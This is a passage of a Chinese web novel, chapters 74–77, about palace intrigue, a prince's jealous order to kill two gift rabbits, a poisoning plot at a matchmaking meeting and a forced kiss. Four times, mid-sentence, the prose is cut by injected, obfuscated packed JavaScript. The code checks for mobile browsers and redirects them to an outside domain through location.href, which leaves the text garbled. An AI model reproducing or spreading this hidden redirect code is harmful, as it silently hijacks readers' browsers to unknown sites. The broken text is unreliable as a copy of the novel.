“太慢了。”萧凌川眸色晦暗,“这南月毒师身怀绝技,却甘愿嫁给姜家最没出息的庶子,想来是为了她唯一的儿子。可见,她儿子便是她的软肋。只要从她儿子下手,就能让她不得不为我们所用。” “四哥所言极是。只是,该如何对她儿子下手?” 萧凌川饮了一口果酒,神色阴冷:“下毒!” 南月毒师虽能炼制天下奇毒,却对解毒之术一窍不通。 只要控制住她唯一的儿子,便可她乖乖为他们所用。 “让凌芜去做吗?四哥不怕她迁怒于凌芜和嫂嫂?” “不行,凌芜不能暴露。”萧凌川摩挲着杯沿,“找个合适的时机,将他引出相府,在外面下毒,如此一来,那南月毒师便不会怀疑到凌芜身上,更不会迁怒于姝宁。” 萧琪钰点头:“待我想个法子,把那姜家三少爷引出来!” —— 姜姝宁返回宴会厅的路上,恰好遇到了五皇子萧怀瑾。 她和姜瑶真连忙行礼:“见过五皇子殿下!” “两位姑娘免礼。”萧怀瑾目光灼灼地落在姜姝宁身上,“姜姑娘,我有一份礼物想送给你,不知可否赏光,随我走一趟?” “这……”姜姝宁略一迟疑。 上次去荣贵妃的福禄宫与萧怀瑾见面,萧凌川便大发雷霆,如今想来仍心有余悸。 若是被他发现自己又私下与萧怀瑾来往,不知又会发什么疯。 萧怀瑾见她犹豫,连忙补充道:“不会耽误姜姑娘太多时间的。” 一旁的姜瑶真想起萧修湛曾说过,姜姝宁是个祸水,她的存在会让三皇子萧凌川和五皇子萧怀瑾反目成仇。 既如此,自己何不添一把火,让两个皇子之间的争夺更激烈些? 于是她便在一旁怂恿道:“姐姐,五皇子殿下如此盛情,你就不要再推辞了。不过是收个礼物而已,耽误不了多少时间的。” 姜姝宁见推辞不了,只得应道:“那就有劳殿下带路了。” “姜姑娘,请随我来。”萧怀瑾说着,感激地看了姜瑶真一眼。 姜瑶真朝他微微颔首,心中却暗自嘀咕:这姜姝宁莫不是个妖精?怎么这些皇子见了她都如此殷勤? 无论是冷面煞神般的萧凌川,还是谪仙一般的五皇子,都对她青睐有加。 实在讨厌得很! 姜姝宁和萧怀瑾漫步在静谧的宫道上。 夜幕降临,宫灯点点,四周寂静无人,唯有行色匆匆的宫人偶尔经过,并无人在意他们二人。 “殿下,不知荣华公主如今可好?”姜姝宁打破沉默,轻声问道。 她想起上次荣华公主被黑豹吓得惊慌失措的模样,心中仍有些许担忧。 “荣华并无大碍,只是受了些惊吓。服过御医开的安神汤后,次日便已痊愈。她昨日还问我,为何姜姑娘不进宫去看她。” 姜姝宁垂眸,低声道:“那日之事,臣女心中实在愧疚,实在不好意思再去叨扰荣贵妃娘娘和荣华公主。” “母妃和荣华都不是斤斤计 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620095|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 较之人,姜姑娘不必放在心上。况且,这并非你的错,是四哥没有管好自己的爱宠所致。”萧怀瑾抬眸望向前方,唇角扬起一抹温润的笑意,“看,这就是我为你准备的礼物。” 姜姝宁顺着他的目光望去,只见一座小桥横卧在雪地上,桥的扶手上放着两个竹笼子。 笼子里,两只通体雪白的兔子蜷缩着身子,瑟瑟发抖。 她连忙上前,将笼子抱在怀里,伸出手指轻抚兔子身上的绒毛。 兔子怯生生地看着她,一动不动,显得格外懵懂娇弱。 “好可爱。”姜姝宁忍不住赞叹,眼中满是喜爱。 这两只兔子比她在狩猎场看到的兔子更加秀气,身上的绒毛也更加柔软,令人爱不释手。 见她如此喜欢,萧怀瑾脸上的笑意更浓。 他虽然不能养猫,但养兔子还是可以的。 “姜姑娘喜欢就好。这两只兔子,你就带回去好生养着吧。” “这……可臣女从未养过兔子。” “兔子很好养活,只需喂些萝卜青菜和草料即可。” “殿下,这兔子如此可爱,荣华公主应该也会喜欢,不如将它们送给公主吧。” “荣华的确喜欢兔子,母妃的福禄宫中已经养了好几只。除了兔子,福禄宫里还养了一只小鹿。” “小鹿!”姜姝宁的眼睛一亮,语气中带着几分雀跃,“可是上回从猎场上捕获的那只?” “正是。”萧怀瑾含笑点头,“那小鹿娇气得很,需要定时喂食浆果,还喜欢偷吃花骨朵。母妃宫里几盆名贵的花都被它啃得不成样子了。” 萧怀瑾的描述让姜姝宁心生向往。 “臣女下次可否有机会去福禄宫看看那只小鹿?” “当然可以。”萧怀瑾眉眼含笑,“姜姑娘若是愿意,现在便可同我一起去。” “不了,晚宴应该已经开始了,我们还是先回去吧。”姜姝宁将装着兔子的笼子抱在怀里,笑得眉眼弯弯,“多谢殿下的礼物,臣女一定会好好照顾它们。” 姜瑶真正准备返回宴会厅时,被顾亦庭拦住了。 他一脸担忧地问:“姜二姑娘,方才你被四皇子纠缠,你姐姐没为难你吧?” 姜瑶真心头一惊:“你怎么……” “方才是我请你姐姐去救你的。幸好她答应了,否则你的名声可就毁了。”顾亦庭义愤填膺,“四皇子实在太过分了,明知你已经和三皇子殿下有了婚约,还对你死缠烂打,实在是有失体统!将来若我子承父业,当上御史,定要好好参他一本!” 第74章 迁怒于无辜兔子 第七十四章迁怒于无辜兔子 姜瑶真心思微动。 看来顾亦庭并未看到自己方才对萧凌川投怀送抱的举动,还以为是萧凌川对她有意,想要横刀夺爱。 如今太子虽然身体孱弱,却依旧稳坐东宫之位,全仰赖他的亲舅舅——连皇帝都敢**的顾御史。 皇帝虽早有废黜太子的心思,却因忌惮顾御史,迟迟不敢有所行动,唯恐那些御史台的官员借题发挥,将他骂得狗血淋头。 若是能拉拢顾亦庭这位御史独子,或许日后对萧修湛有所助益。 想到这,她立刻装出一副感激涕零的模样:“多谢顾公子仗义执言。四皇子殿下确实对我……倾慕已久,我夹在两位皇子之间,左右为难,实在不知该如何拒绝,真是令人头疼。” 顾亦庭听她如此说,心中对她的爱慕之情更添了几分。 “窈窕淑女,君子好逑。姜二姑娘容貌昳丽,才艺双全,皇子们对你倾心也在情理之中。只是那四皇子实在不知分寸,明知你已有婚约,还纠缠不休,实在强人所难。心仪他的明明是你姐姐,为何他不将心思放在你姐姐身上?” “说来惭愧,还有一事令我难以启齿。”姜瑶真泫然欲泣,“姐姐一直爱慕四皇子殿下,今日之事对她打击甚大。她方才对我说,既然我‘抢’了她的心上人,她便要抢我的姻缘。如今太后娘娘又如此器重姐姐,我真担心自己和三皇子的婚约会被她抢走!” “姜姝宁如此行径,实在可恶!”顾亦庭义愤填膺,“就算她得到了婚约又如何?她根本就不喜欢三皇子!简直是损人不利己!” “姐姐是家中嫡女,从小到大都被爹娘捧在手心里,想要什么都能轻易得到,早就任性惯了。如今在四皇子这里碰壁,便将怨气都撒在了我身上。顾公子,你有所不知,我从前只是相府一个名不见经传的庶女,真的很怕这来之不易的婚约被她抢走。” 姜瑶真这副黯然神伤的模样,看得顾亦庭一阵心疼。 他深吸一口气,下定决心道:“姜二姑娘放心,此事就交给我吧。我绝不会让姜姝宁破坏你的姻缘!” 姜瑶真故作惊讶:“顾公子打算怎么做?” “这个你不必过问,我自有办法!” 说完,他朝她行了一礼,转身离去。 望着他离去的背影,姜瑶真面纱下的唇角微微勾起。 不管顾亦庭打算怎么做,总之,肯定是让姜姝宁膈应的事。 这就足够了。 晚宴还没到一半,皇帝便借故要去批改奏折,中场离席,把熙贵妃一人留在了宴席上。 熙贵妃比谁都清楚,皇帝所谓的批阅奏折不过是托词,他其实是急着去宠幸新纳入宫的苏美人。 萧修湛察觉到母妃的不悦,在敬酒的间隙,俯身在她耳边低语了几句。 熙贵妃的眉眼顿时舒展开来。 一个出身欢场的女子罢了,如何能与她争宠? 更何况,那苏美人身上的异香是长期服用药物所致,而那药物会损害身体,导致不孕,所以她终究不过是个玩物。 她的湛儿已经掌握了苏美人的把柄,不怕她不乖乖听命。 想到这里,熙贵妃的心情豁然开朗,忍不住多饮了几杯果酒。 宴会结束后,姜姝宁提着竹笼离开。 萧凌川远远地便瞧见了她笼中的两只雪兔,侧头问身后的凌风:“姜姑娘提着的两只兔子从何而来?” 凌风迟疑片刻,只得如实禀报:“是五皇子殿下送给姜姑娘的。” “什么?”萧凌川脸色骤变,阴沉得仿佛能滴出水来,“他们见面,你为何不曾禀报于我?” “姜姑娘只是去取了兔子便离开了,并未与五皇子殿下过多接触,所以属下……” “够了!”萧凌川厉声打断他的话,语气森寒,“让凌芜寻个法子将这两只兔子处理掉!” 凌风闻言,不禁哭笑不得:“殿下,那不过是两只兔子而已……” “两只兔子也是念想!我不允许她身边有任何其他男人的东西!哪怕是兔子也不行!告诉凌芜,务必在姜姑娘对这两只兔子产生感情之前,快刀斩乱麻,将它们处理掉!至于清蒸还是红烧,由她看着办!” 凌风顿时无语凝噎。 他家殿下,平日里冷静自持,可一旦事关姜姑娘,便会方寸大乱,甚至不可理喻。 这世上,恐怕也只有他才会因为醋意,迁怒于两只无辜的兔子吧? 姜姝宁提着竹笼,欢欢喜喜地回到了马车上。 凌芜一眼瞧见笼中两只毛茸茸的小家伙,不禁惊讶道:“这皇宫可真是大方,参加个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620096|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宴会还能打包带菜回家!大小姐,这两只兔子您打算怎么吃?红烧还是炖汤?” 姜姝宁眼角微抽:“凌芜,这是宠物,不是菜。我准备带回家养着。” “原来是宠物啊,奴婢还以为是吃的呢!”凌芜尴尬地笑了笑,“这是哪位贵人送给大小姐的?莫非是……四皇子殿下?” “不是他。” 一旁的姜瑶真开口了:“凌芜,你以为姐姐就只有四皇子殿下一个倾慕者吗?你也太小瞧她了。这两只兔子,八成是五皇子殿下送的,对吧,姐姐?” 姜姝宁对她的阴阳怪气不置可否,只冷冷地瞥了她一眼:“妹妹的聪明才智,原来都用在这等无用的事情上了。难怪当初得到与三皇子殿下的婚约时,用了那般拙劣的手段!” 姜瑶真闻言勃然大怒:“姐姐这话是什么意思?我用了什么拙劣的手段?” “姜瑶真,你自己做了什么,心里清楚!” 姜姝宁想起冤死的兄长姜天恩,心中的恨意翻涌,几乎要将她吞噬。 她咬牙切齿,一字一句地说道,“我倒要看看,报应何时会落在你身上!” 她眼神凌厉如刀,姜瑶真心中一凛,竟有些胆怯。 她慌忙避开姜姝宁的目光,低声说道:“瑶真不明**姐在说什么。姐姐定是在宴会上太过劳累,这才胡言乱语。” 姜姝宁心中冷笑:姜瑶真,你给我等着! 若是老天无眼,不给你这样的恶人降下报应,我便替天行道,让你付出应有的代价! —— 夜已深沉,万籁俱寂,唯有萧凌川书房的灯火,在浓墨般的夜色中闪烁跳跃。 凌风提醒道:“殿下,已是丑时了,您该歇息了。” “无妨,”萧凌川眸光深邃,语气笃定,“今夜有人会来见我。你去助她避开宫人耳目。” “是,殿下!”凌风领命而去。 片刻之后,凌风带着一位身披黑色斗篷的人来到书房。 那人一进门,便双膝跪地,恭声道:“民女特来拜谢殿下!感念殿下为民女指明一条进宫之路,此番再造之恩,民女永世难忘!” 萧凌川垂眸看着跪在脚边的女子,神色淡然:“你如今已被父皇纳入后宫,名义上便是我的庶母,这自称也该改一改了,苏美人。” 第75章 糕点有毒! 第七十五章糕点有毒! 夜色深沉,景和宫内,萧凌川与凝香相对而坐。 “殿下交代的事情,妾身已经办妥了。”凝香恭顺地垂首,“妾身已将您所说的话透露给了三皇子殿下。他得知‘凝香丸’会导致不孕,便放松了对妾身的戒备,还让妾身多在陛下面前为他美言,吹吹枕边风。” 萧凌川唇角微勾,一抹势在必得的笑意在他唇角上漾开。 “就依他所言去做吧,让父皇以为你是他的人,这对你有利无害。你只管放心,只要你定期服用我给你的解药,即便日日服用‘凝香丸’,也不会影响生育。将来,”他眸光一凛,眼底闪过一丝阴鸷,“即便父皇驾崩,你也能凭借所生的皇子,在这大邺皇宫之中安身立命,无人敢欺。” “多谢殿下!多谢殿下!”凝香感激涕零,跪在地上连连叩首,额头重重地磕在地面上,发出“咚咚”的声响。 “够了。”萧凌川出声制止,“若是伤了额头,让父皇瞧见,怕是要生疑。凌风,送苏美人回储秀宫,切记不可让旁人瞧见。” “是,殿下!”凌风领命,掩护着凝香离开了景和宫。 凝香走后,萧凌川俊美的脸上浮现出一抹阴冷的笑意。 如今,他已经让父皇收回了萧修湛舅舅手中的兵权,接下来,便要分走熙贵妃多年来的盛宠了。 但愿凝香不要让他失望才好。 —— “什么?定亲?”姜天泽闻言,脸上满是震惊与抗拒,“大姐姐,我才十五岁,现在定亲是不是太早了些?” “十五岁定亲已经算晚的了。又不是现在就让你成婚,你紧张什么?”姜姝宁语气嗔怪,带着几分安抚,“父亲母亲已经安排好了,你且去见见张姑娘,只当是去结交朋友,不必拘谨。” 姜天泽抬眸看了她一眼,眼底藏着一丝不易察觉的酸涩:“大姐姐就这么希望我定亲?” “男大当婚,女大当嫁,如今你是相府的继承人,你的亲事我自然要多加留意。”姜姝宁温言细语地劝道,“况且这张姑娘贤良淑德,容貌姣好,你定会喜欢的。” “大姐姐关心的,只是天泽身为相府继承人的身份,就一点也不在意天泽的想法吗?”姜天泽语气低落,眼中闪过一丝落寞,“这张家姑娘纵然再好,从前也是与大哥天恩定下的亲事,并非我自己心仪之人。” 姜姝宁看出他的抵触,放缓了语气,柔声哄道:“天泽,大姐姐自然是先考虑你的喜好。只是去见一面而已,若是你不喜欢,我们再另择佳偶,如何?” 与张尚书家嫡女的这门亲事,原是姜丞相和姜夫人为长子姜天恩早早定下的。 奈何姜天恩迟迟未能考取功名,张尚书对此颇为不满,张家也对这门亲事一直不置一词。 如今听闻姜天泽成为相府继承人,张尚书竟主动提出,让女儿与天泽相看。 如此良机,姜丞相自然是欣然应允。 “好吧,那便听大姐姐的,去见见这位张姑娘。”姜天泽表面上乖巧应允,眼底却掠过一丝不易察觉的阴郁。 什么样的女子都比不上他的大姐姐。 这门亲事,他是绝不会应允的。 张尚书将两家会面的地点定在了京城赫赫有名的会客茶楼。 这茶楼环境清幽雅致,茶香氤氲,更有诸多精致糕点供应,是城中有名的风雅之地。 为表示相府对这门亲事的重视,姜丞相携夫人、姜姝宁和姜天泽一同赴约。 张尚书则带着年方二八的女儿张嫣前来相见。 张嫣容貌清秀,举止端庄大方,一颦一笑间皆是世家贵女的优雅风范。 如此佳人,若是能成为相府主母,想来定是一位贤良淑德的女主人。 姜夫人与姜姝宁交换眼神,彼此眼中皆是掩不住的满意之色。 唯有姜天泽,俊美清隽的脸上不见丝毫喜色,全程沉默寡言。 张尚书问话,他也只是淡淡一笑,由着姜夫人和姜姝宁替他作答。 乖巧顺从的表象之下,实则暗藏着叛逆的心思。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620097|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>张嫣似乎对眼前这位俊逸的相看对象颇为满意,主动开口道:“不知姜公子平日里可有什么偏爱的糕点?我平日里对糕点略有研究,下次可以做些带来给公子品尝。” 姜天泽回以她一个温润的笑容,却依旧沉默不语。 姜姝宁在一旁看得着急,他再这样一言不发下去,张尚书和张嫣怕是要以为他是个哑巴了! 她悄悄把手伸到桌子底下,掐了一下姜天泽的手背,提醒他赶紧回话。 不料姜天泽反手握住了她的手,抬眸冲她露出一个无辜又无害的笑容。 姜姝宁被他这油盐不进的模样气得牙痒痒,若是再这样下去,张嫣怎么可能看得上他! 她连忙笑着对张嫣道:“我三弟平日里最是喜爱糕点,各式糕点都爱吃!张姑娘若是亲手做了糕点给他,他定然会十分欢喜。” “如此甚好!”张嫣似乎并没有因为姜天泽的沉默而感到不悦,态度依旧殷勤。 她拈起一枚形似桃子的糕点,放入了姜天泽的碗中,柔声道,“这是会客茶楼的招牌桃糕,味道清甜可口,如同新鲜桃子一般,姜公子不妨尝尝?” 大概是因为握着姜姝宁的手,姜天泽心情甚好,竟然破天荒地开了口:“既然这糕点形似桃子,味道也与桃子无异,那为何不直接吃桃子呢?做成这糕点的意义何在?岂非无趣得很?” 张嫣脸上的笑容瞬间凝滞,一时不知该如何应对。 姜姝宁见状,连忙摆出姐姐的威严,嗔怪地瞪了姜天泽一眼:“这糕点你都还没尝,怎知无趣?快些尝尝,莫要辜负了张姑娘的盛情。” 姜天泽这才不太情愿地拿起碗中那枚糕点,凑到唇边。 忽然,一股熟悉的苦涩气息钻入鼻尖,他的脸色骤然一变。 他猛地抬头,恰好看到姜丞相拿起一块糕点,正要就着茶水吃下,连忙伸手按住了他的手。 “父亲,这糕点不能吃!”他神色凝重,“这糕点里有毒!” 此言一出,在场所有人的脸色都变了。 第76章 强吻封缄 第七十六章强吻封缄 张尚书随即笑着道:“贤侄莫不是在说笑?这糕点老夫自己也吃了好几块,若是真有毒,岂不是早就毒发身亡了?” 姜天泽双唇紧抿,目光在张家父女身上来回逡巡,幽深的眼眸中墨色翻涌,满是戒备之色。 他自幼便与毒物为伍,对各种毒物的气味了如指掌,怎么可能弄错? 姜姝宁见状,连忙出来打圆场:“三弟自幼喜欢钻研药理,许是闻到了什么特殊的气味,这才有所误会。我今日正好戴了银簪,不如便由我来试试这糕点里是否有毒,也好让大家安心。” 说罢,她拔下头上的银簪,以帕子仔细擦拭干净,而后在姜丞相的糕点上戳刺了几下。 簪尖依旧银白,并无变化。 张尚书见状,朗声笑道:“我就说嘛……” 他话未说完,姜天泽便从姜姝宁手中拿过银簪,径直插入自己碗中的桃糕。 待拔出之时,簪尖赫然已是一片乌黑! 他目光凌厉地射向张嫣,语气冰冷:“原来,你想毒害的人是我!” 张嫣脸色瞬间变得惨白,连连摆手否认:“我没有!姜公子,你误会了……” 姜天泽岂会轻易信她? 他一把扣住张嫣的手腕,细细查看,最终在她的指甲缝隙中发现了一些白色粉末。 “还说没有?这是什么?”他眼眸微眯,眼中满是冷意,“你敢说这不是毒?” 姜丞相见状,脸色顿时阴沉得可怕,他目光直视张尚书,质问道:“张尚书,这究竟是怎么回事?” 张尚书额头上渗出细密的汗珠:“姜丞相,息怒!这都是误会,天大的误会啊!小女自幼胆小,绝不可能做出毒害令郎之事!想来许是她脂粉中的铅华不小心沾染到了糕点上,这才造成了这番误会!还望丞相大人海涵!下官这就代小女向丞相和令郎赔罪!” 姜天泽冷哼一声:“堂堂尚书嫡女,用的竟是含有铅华的劣质脂粉?张尚书这番说辞,未免太过牵强了吧?” 张尚书满脸惊恐:“冤枉啊!姜公子,老夫与你无冤无仇,又怎会加害于你?” 他转头看向姜丞相,眼中满是哀求之色,“丞相大人明鉴,下官对天发誓,这绝对是误会!” 姜丞相正欲开口,被一旁的姜姝宁拉住衣袖。 “父亲,尚书大人说得没错,他与我们姜家并无过节,此前也从未见过天泽,确实没有理由故意让自己的女儿去陷害天泽。女儿以为,此事另有蹊跷,想要加害天泽的,恐怕另有其人!” 姜丞相看她神色笃定,连忙问:“宁儿,你可是知道是谁想要加害天泽?” “是,”姜姝宁肯定地点了点头,“想必张尚书也是受人胁迫,迫不得已才出此下策。父亲,此事就此作罢吧,不必再为难尚书大人了。” 姜丞相沉吟片刻,最终点了点头。 他冷冷地瞥了张尚书一眼,起身带着姜夫人、姜姝宁和姜天泽离开了茶楼。 他们一行人离开后,张尚书顿时瘫倒在地,汗如雨下。 一旁的张嫣早已哭得梨花带雨:“父亲,您之前不是说万无一失吗?如今却被姜公子当场识破了!这下糟了,我们彻底得罪了相府,往后该如何是好啊!” 张尚书长叹一声,语气中带着一丝无奈和后怕:“谁又能料到,这姜公子年纪轻轻,心思竟如此缜密!莫说是为父,恐怕就连那幕后之人也始料未及吧!” 比起得罪姜丞相,他更害怕的是没能完成那人交代的任务。 如今真是左右不是人啊! 回府的路上,姜丞相既生气又遗憾:“原以为两家能结成秦晋之好,却不想这张尚书竟如此大胆,指使女儿对天泽下毒!宁儿,你方才说想害天泽的另有其人,究竟是什么人?” 姜姝宁眼神闪烁:“父亲,方才我只是想尽快离开茶楼,所以才故意这么说的。其实女儿也不知道张尚书背后是谁人指使。往后我们姜家人出门在外,多加小心就是,以免被奸人所害。” 姜丞相脸上满是悲愤:“真是多事之秋啊!天恩和天赐相继离世,如今又有人想要加害天泽。我们姜家到底得罪了什么人,要逼我们**!” 姜夫人握住他的手,哽咽着安慰道:“老爷,莫要太过伤心,好在天泽这次躲过一劫,平安无事。” 姜天泽也宽慰道:“父亲母亲放心,孩儿定会珍重自身,为双亲养老送终,绝不让那些宵小之徒得逞!” 姜姝宁此时眼中却翻涌着汹涌的怒意。 没错,谁也别想伤害姜家的人! 今生她已经失去了兄长,决不能再失去可以为父母养老送终的弟弟。 今日之事,她计较定了! 回到相府,姜姝宁迅速换了一身衣衫,旋即乘马车直奔皇宫而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620098|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去。 来到景和宫,她见到萧凌川,便劈头盖脸质问道:“指使张尚书给我三弟下毒的,可是殿下?四皇子殿下为了拿捏我,竟如此不择手段,实在令人不齿!” 其实,想要知道张尚书背后的指使之人并不难。 张家与七皇子母族是远亲,而七皇子又是萧凌川的左膀右臂,因此姜姝宁很快便推断出,今日这出下毒的戏码,正是萧凌川一手策划的。 萧凌川早已收到张尚书下毒失败的消息,对于姜姝宁的到来并不意外,也并未打算隐瞒自己的所作所为。 他语气平静地说道:“的确是我让张尚书借着相看的机会,给你的堂弟姜天泽下毒。但那**并不致命,我这么做也并非是为了拿捏你。” “那又是为了什么?”姜姝宁追问道。 “无可奉告。”萧凌川语气冷淡,不愿多做解释。 姜姝宁不禁冷笑一声,语气中充满了嘲讽控诉:“殿下不必再装了,前世我与你夫妻十年,我比任何人都了解你!凡是你无法掌控的人,你便会想方设法找到对方的弱点,以此要挟;凡是你费尽心思依旧无法掌控的,你宁可毁掉,也绝不会留给对手!” “姜姝宁!”萧凌川厉声打断了她的话,深邃的桃花眼中翻涌着复杂的情绪,“你若真的了解我,便不该认为我如此行事是为了拿捏你!” 他承认自己劣迹斑斑,不择手段。 可他从未想过将这些阴狠毒辣的手段用在她身上。 尤其是在前世尝过失去她的锥心之痛后,今生哪怕是威逼利诱,他也小心翼翼地拿捏着分寸,唯恐她承受不住。 如今被她这般误解和指责,他心中既愤怒又委屈。 “你给天泽下毒,除了拿捏我,还能拿捏谁?”姜姝宁越想越气,眸中水汽氤氲,“你明知道我失去兄长,最放心不下的便是父母老了无人照顾,如今你竟对我们姜家唯一的男丁下毒,你究竟安的什么心?你为何不干脆直接给我下毒?让我像前世那般,一**之,岂不正好遂了你的心愿?!” “住口!”萧凌川俊美的脸上戾气横生,厉声呵斥道,“不许你再说这样的话!” “我为何不敢说?我已经死过一次了,大不了……”姜姝宁话未说完,便被萧凌川失控地一把拥入怀中。 他滚烫的唇强势地覆上她的唇瓣,仿佛要将这张只会说晦气话的小嘴永远封缄! 第77章 你这个疯子! 第七十七章你这个疯子! 姜姝宁万万没有料到他竟会突然吻上来。 那吻来势汹汹,带着一股蛮横的掠夺意味,仿佛要将她拆之入腹,吞噬殆尽。 他的大手紧紧钳制着她的腰肢,让她动弹不得,所有的挣扎与反抗在他的桎梏下都是徒劳。 姜姝宁肺中的空气渐渐被抽空,鼻息间充斥着他身上那股极具侵略性的男性气息,只觉得自己如同一尾搁浅在沙滩上的鱼,呼吸艰难,濒临死亡。 被逼至绝境的她,用尽全力狠狠地咬了萧凌川一口! 一股腥甜的气息顿时在两人唇齿间蔓延开来。 他吃痛,被迫松开了对她的禁锢,一双猩红的桃花眼中满是难以置信。 “你竟然咬我?” 许是舌尖受伤的缘故,他声音有些嘶哑,喘息声也变得粗重急促,宛如一头暴怒的野兽。 姜姝宁慌忙后退几步,猛地拔下头上的发簪,用尖锐的一端指向他,既惊恐又愤怒。 “你若再敢轻薄于我,我何止咬你,我还要杀了你!” 萧凌川目光在她酡红的双颊,泛着盈盈水光的眼眸,以及被吻得红肿娇艳的唇瓣上流转,心中涌起一股难以言喻的复杂滋味。 既酸涩又甜蜜。 他骤然欺身向前,一把攥住她的手腕,将那枚锋利的簪尖抵向自己的胸膛,目光逼视着她:“姜姑娘想杀我?那便动手试试看!” 眼见那簪尖已然刺破了他华贵的锦袍,可他却仿佛毫无痛觉一般,依旧执拗地握住她的手,将簪子扎得更深。 他这般癫狂的举动,让姜姝宁心中陡然生出了一丝怯意。 她猛地松开簪子,挣脱了他的钳制,惊恐地望着他:“你这个疯子!” 萧凌川嗤笑一声,那张俊美到近乎靡丽的脸上晦暗不明。 “这枚小小的簪子根本伤不了我,而你,也舍不得对我下手!”他定定地看着她,深邃的眼眸中暗流涌动,“姜姝宁,别再自欺欺人了,你根本就舍不得伤害我!” 这句话说得轻描淡写,却仿佛一记响亮的耳光,狠狠地扇在了姜姝宁的脸上。 她瞬间如梦初醒。 自己明明随身携带着袖**,却偏偏选择了簪子这种毫无杀伤力的东西作为武器,还信誓旦旦地说要杀了他。 别说是萧凌川了,就连她自己都觉得这番威胁苍白无力。 难道,她真的舍不得伤他? 不,这绝不可能! 他前世那般对待自己,她怎么可能会对他心慈手软? “四皇子殿下别再往自己脸上贴金了!”姜姝宁美目圆睁,怒火中烧,“我不伤你,不过是怕承担后果。我**无所谓,但绝不能让整个姜家因此遭受牵连!但你若再敢对我们姜家人下手,就别怪我不客气!” “哦?”萧凌川闻言,嘴角勾起一抹玩味的笑。 他步步紧逼,语气轻佻而危险:“我倒想看看,姜姑娘究竟打算如何……对我不客气!” 姜姝宁本能地向后退去,对萧凌川这副毫不在乎、轻蔑至极的姿态,感到无比的厌恶和痛恨。 即便重活一世,他也从未将她真正放在眼里! 她在他心中,永远是可以任意拿捏、随意伤害的玩意儿! “四皇子殿下,你我皆是重生之人,你知晓未来的走向,我也同样如此!”姜姝宁语气决绝,带着孤注一掷的强硬,“若殿下执意相逼,将臣女逼入绝境,就休怪臣女另谋出路,转投其他皇子的阵营!” “你敢!”萧凌川顿时怒火中烧,眼中似要喷出火来,“你想投靠谁?萧怀瑾吗?” “恕臣女无可奉告!”姜姝宁冷冷地丢下这句话,赶在他彻底爆发之前,逃一般离开景和宫。 凌风回到暖阁时,只见满地狼藉,碎瓷片散落一地,萧凌川坐于案前,一双桃花眸猩红如血,宛如一头被彻底激怒的困兽。 “殿下……姜姑娘已经出宫了。”凌风小心翼翼地禀报道。 “萧怀瑾送她的那两只兔子,凌芜处理掉了吗?”萧凌川的声音低沉而压抑,仿佛蕴藏着即将爆发的火山。 “……属下尚未收到凌芜的消息。”凌风的头垂得更低了。 “让她务必尽快处理干净!”萧凌川的眼中怒火翻涌,语气强硬,“我绝不允许她留下任何除了我之外的男人送的东西!” “是,殿下!” 凌风心中暗暗叫苦:姜姑娘啊姜姑娘,殿下原本已经将这件事抛诸脑后了,您来景和宫这一趟,又把他给气得重新想起来了! 你们是要为难死凌芜啊? 就在此时,七皇子萧琪钰推门而入,一边走一边兴高采烈地嚷嚷道:“四哥,今晚咱们喝羊肉汤如何?我特意嘱咐厨子不要放葱姜蒜!” 萧凌川冷着一张脸,语气生硬地拒绝道:“不喝!” “四哥,你这是怎么了?”萧琪钰终于察觉到了空气中的异样,他凑近萧凌川,一双眼睛好奇地上下打量着他,“咦?你的嘴怎么肿了?而且好像还擦了口脂?” 萧凌川下意识地抬手轻拭唇角,指腹上果然沾染了一丝淡淡的胭脂红。 一想到这抹嫣红是从姜姝宁唇瓣上辗转而来,他难免有些心神摇曳,方才的怒意也消了大半。 “无事,被姜姑娘咬了一口。”他语气淡淡地说道。 萧琪钰一脸的难以置信:“好端端的,嫂嫂为何要咬你?” “谁知道呢。”萧凌川语气慵懒,嘴角勾起上扬的弧度,“可能因为她是属狗的吧?” “我看啊,嫂嫂是属兔的才对。正所谓兔子急了也咬人,四哥你肯定是把她逼急了,否则以嫂嫂那般温婉的性子,怎么可能会做出咬人的举动?” 